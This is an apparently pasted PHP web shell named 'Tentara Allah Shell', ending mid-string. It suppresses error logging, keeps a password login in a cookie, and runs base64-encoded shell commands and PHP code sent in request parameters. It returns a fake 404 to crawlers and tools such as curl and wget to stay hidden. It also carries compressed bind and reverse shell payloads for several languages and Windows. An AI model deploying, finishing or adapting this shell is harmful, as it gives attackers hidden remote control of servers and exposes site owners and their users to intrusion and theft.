SHARE
TWEET

ngentodzzz

a guest Jun 17th, 2019 81 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. error_reporting(0);
  4. @set_time_limit(0);
  5. @ini_set('display_errors','0');
  6. @ini_set('html_errors','0');
  7. @ini_set('log_errors','0');
  8. @clearstatcache();
  9.  
  10. $s_name = "Tentara Allah Shell"; // shell name
  11. $s_ver = "1.0"; // shell ver
  12. $s_title = $s_name." ".$s_ver; // shell title
  13. $s_pass = "ef7760dc4ed72cc44148f1c1ad7a3480";
  14. $s_color = "01f90c"; // shell theme color, default : 4c83af
  15. $s_login_time = 3600 * 24 * 7; // cookie time (login)
  16.  
  17. $s_auth = false; // login status
  18. if(strlen(trim($s_pass))>0){
  19.     if(isset($_COOKIE['ustadgila'])){
  20.         if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['ustadgila']))) $s_auth = true;
  21.     }
  22.     if(isset($_REQUEST['login'])){
  23.         $s_login = strtolower(md5(trim($_REQUEST['login'])));
  24.         if(strtolower(trim($s_pass)) == $s_login){
  25.             setcookie("ustadgila",$s_login,time() + $s_login_time);
  26.             $s_auth = true;
  27.         }
  28.     }
  29.     if(isset($_REQUEST['x']) && ($_REQUEST['x']=='logout')){
  30.         $s_reload = (isset($_COOKIE['ustadgila_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):"";
  31.         foreach($_COOKIE as $s_k=>$s_v){
  32.             setcookie($s_k,"",time() - $s_login_time);
  33.         }
  34.         $s_auth = false;
  35.         if(!empty($s_reload)) header("Location: ".$s_reload);
  36.     }
  37. }
  38. else $s_auth = true;
  39.  
  40.  
  41. if(!empty($_REQUEST['s_pass'])){
  42.     if(strtolower(trim($s_pass)) == strtolower(trim($_REQUEST['s_pass']))){
  43.         if(isset($_REQUEST['cmd'])){
  44.             $s_cmd = base64_decode($_REQUEST['cmd']);
  45.             echo exe($s_cmd);
  46.         }
  47.         elseif(isset($_REQUEST['eval'])){
  48.             $s_code = base64_decode($_REQUEST['eval']);
  49.             ob_start();
  50.             eval($s_code);
  51.             $s_res = ob_get_contents();
  52.             ob_end_clean();
  53.             echo $s_res;
  54.         }
  55.         else echo $s_title;
  56.     }
  57.     die();
  58. }
  59.  
  60. // block search engine bot
  61. if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
  62.     header("HTTP/1.0 404 Not Found");
  63.     header("Status: 404 Not Found");
  64.     die();
  65. }
  66. elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
  67.     header("HTTP/1.0 404 Not Found");
  68.     header("Status: 404 Not Found");
  69.     die();
  70. }
  71.  
  72. // resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_c $s_rs_win $s_rs_php this was used with bind and reverse shell
  73. // use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P
  74. $s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A";
  75. $s_rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE=";
  76. $s_rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP";
  77. $s_rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU=";
  78. $s_rs_win = "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";
  79. $s_rs_php = "7VRNj9s2ED3bv0JRCayEai3LDhBgXW4u7bFA0BboIbsRZIqyCEsiy6FqB9397x2Skj82zm6QBr20MGxTM5w3X0/vh7eqVtPvgtoYBTdpymTJZxspNw2fMdmmKl0v37zeXkPNmyadcq2lzjVXUhvRbaJ5vJoCN7kRLc8b0QrjTHKdi1Y1ggmTV00PdYTGKTGF3nBDiQZ/Wo0moHyvGkwdhUGYDEYMIQxotly+wdOuoF3fNHjihxPUNMRArCX47adffqZ7w3W7evdrRq/uyLvff7y9Wg1utK3StehSqINrEWJsS0PXWeA6C24CJruOM8PLuw79U1FFTPadicYSY0qz+K/phChKxvInBCsI7b9BONGVeH6c8gb4pfDFeTi8n997iIMhux+xCrZ1WLaOqu+YEbLL+V6AgehKsc40eSX19ir2mKKkR6Md9gTjnJleZzHGmSg7sXrLfLAoCWKf4xpBlFF8HuErwJKG/lw6oGA0L9ocJNvi9oHrP7mOQsMUUmg+c5+bcEZUQpAxnXR/GGMTjqEDa2SPM4Jk6Yoh7AlywRhX9sJQKnqNbOQOs0G/xqcI6Zv3XdHyKE7myTLG+sOd6Fyhk2qnheERYQlpZzhhtsMGZ+FtaOEmu1o06FSvKK0K3JkLsQuq7DIwyt1yE9J8k7eFYXUUpqy8C6L3H+7g/vs4FUhX7FLr2EdPSFkiwbVfpY8WkJdCR+iJY1aPR+8mkp7W5YyP9mcgkdGiPe2aKNeh3U8YPDwEn/H/0aM/DtY4y+1qhAswGd/bjjEXsnz2SeaTeUlXoC2lYo0EPo5jfHIbQbcFfjpqd5GUQAuti4/RnN76Q6iE4mES6jBOsqfGHRoXF4weTGmqtGS5VLzD5HWC8Dh5oZwbB/UKp6w5yF4z2yHu48j6U86tG2SWlS4bjG9gMn/+RvbijcWzN9jg9GQzuh9oZt9rLis71ocHf/Lp4vi4NaKLYYZ2rkM5Q1JPoEPOBrUrwvsJKiW+bkViNfJAYNHlRxxdHMgqaIXxpTMzGDg5rnIYEBHxkZZnWGNBlwBH3yeo7AXAxTOAi5cBH885ekLe8ejbOn/OnjwP43WUG83aM/6g714UrVAPolhZ0fIErZ0q8A6/o7Z9vXrBV6kX/GfVCy6p1+f0Cv7Xq7Mb8JJewZfpFXwjvYLLagD/ml7Bt9Yr+BK9+sci9fZ2+jc=";
  80. $s_favicon = "http://i.imgur.com/nj8puZK.png";
  81. $s_checkbox_img = "http://i.imgur.com/nj8puZK.png";
  82. $s_style = "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C";
  83. $s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";
  84.  
  85. $s_sortable_js = "vVhtb9s4Ev4eIP/B0XUNEZZlO+19ONPcYNMXbHHd7gFb3H5w3IKiaFmJLLkSnWzO8X+/GZJ680vW7eG2QGO+zTPDhxzOjO553lmwi6F3yy5G9PysyHKleJBItpHj+ToVKs5Sl2x4Hq2XMlWFL3iSSOnHT0/u/iBbeHfdrkgkz9+nSub3PHHviBdmQi/0RS65km8Tib1utxqPpLKDxfXjJx595EvZ7bqVNT5ng8/uTXgTXpHpzeDG7892erpLrvTfFwMvcZ/Fdh0N6xCv2iMnm/7ognFfJLwocJFfwDbEwh3cBGgICtwEA9Lt1mbdgdiWELL17sZNpCEDoCOKF5KHDvETmUZqAZuEAXaYoGqxB78+X61kGr5exEnocj/PHorpcEY87sdpIXN1LedZLhENhuZxXii9lBCarpME7VE/AxgotK0/sxDR4UbEc3dUSWu11nSyQR6CTKlsicNsOqNggnsPVypgQxpMeHM5DXo9YhjWtgezo0wbTMO121YybXct9qwGJRQMbi8im4qBd1mmkPJ5dpzyOaxxkNcm4TAKTOL2zNYOmqG3CCtbkjv2o4WhTKSSnfbMFlmHRotqOANfyCQpGqrtuqZO2PKFHW7zuuSqplVf2S9phm0kl2zcJUyzUyXdKe//Z9j/x6xHtHi3e37mZvcyz+NQMoSajmB3DbiVHu12ndI3HMbU40pm804FO3Ww+cXplUizq2fmxrXv3brcC1rqMhY0uwKpvM7CWCKPFO+laGzWk6wG+8oajx3QiRdVLeLi6B01lGBLhpqNGiuXYG2Brojy6LxNnF3YXK4SLsDtdlEdb2/oi4V2LGgul8CMuWcH3rvrx/fhLu78IYxT8G7iYQ/woHfUF4oVT53mSj8O2Q6gmXA8EzvKZWkq858//fKBOd00KFa0+7c/Lv9+/Yo6xvBdBzFihMqkkJ1vpb9k5f9zDBXn+8fxPxyDZc0egzmUU47BrDxwDPZcW4sOH8LbY4dgxMwhbFT5HOmlK56DJR+zUNLELad8gaI4WMDpN8OfDhgpTHwCZ9cRp+adfyPp+in+RnEtBoGZuofYPdFBTJy3XNYEtE67SZt7yKFOvAVGl3WeZ3SVftK+vD3mdPYooCdfLHrKxaIHL9b52e7Vos9eLbg1X3ie80dMFkSWmNuVUZ0/mE3puFclEhxCHp80YyyHeFfBTKtWlQlM6xcgdHUM5TaGTkEhJEx2bFYb46OIeSdWwG1gLdFGVAa01GgrVNDaZ20Un+lAaMN8Nb7dYm4ifB6Gb++B/w9xoSQwSfaHXEcksbhzPOndWoeU/hxSbvjLUtBNhR9AF/6yDdxzpCpi0PO1HI1grtGHNZ7ws1R3wB8jiIesGoDEJpoC8IxJWg2y1Rb+ebeNtBairU755ilrFAp+Uh2WAK7EpBl0WwmgMJmKkn8o1jykPYGpKE8MsiVwZYgFIKPjMjbK3ORz/2p6sx4O+csX+ufVDP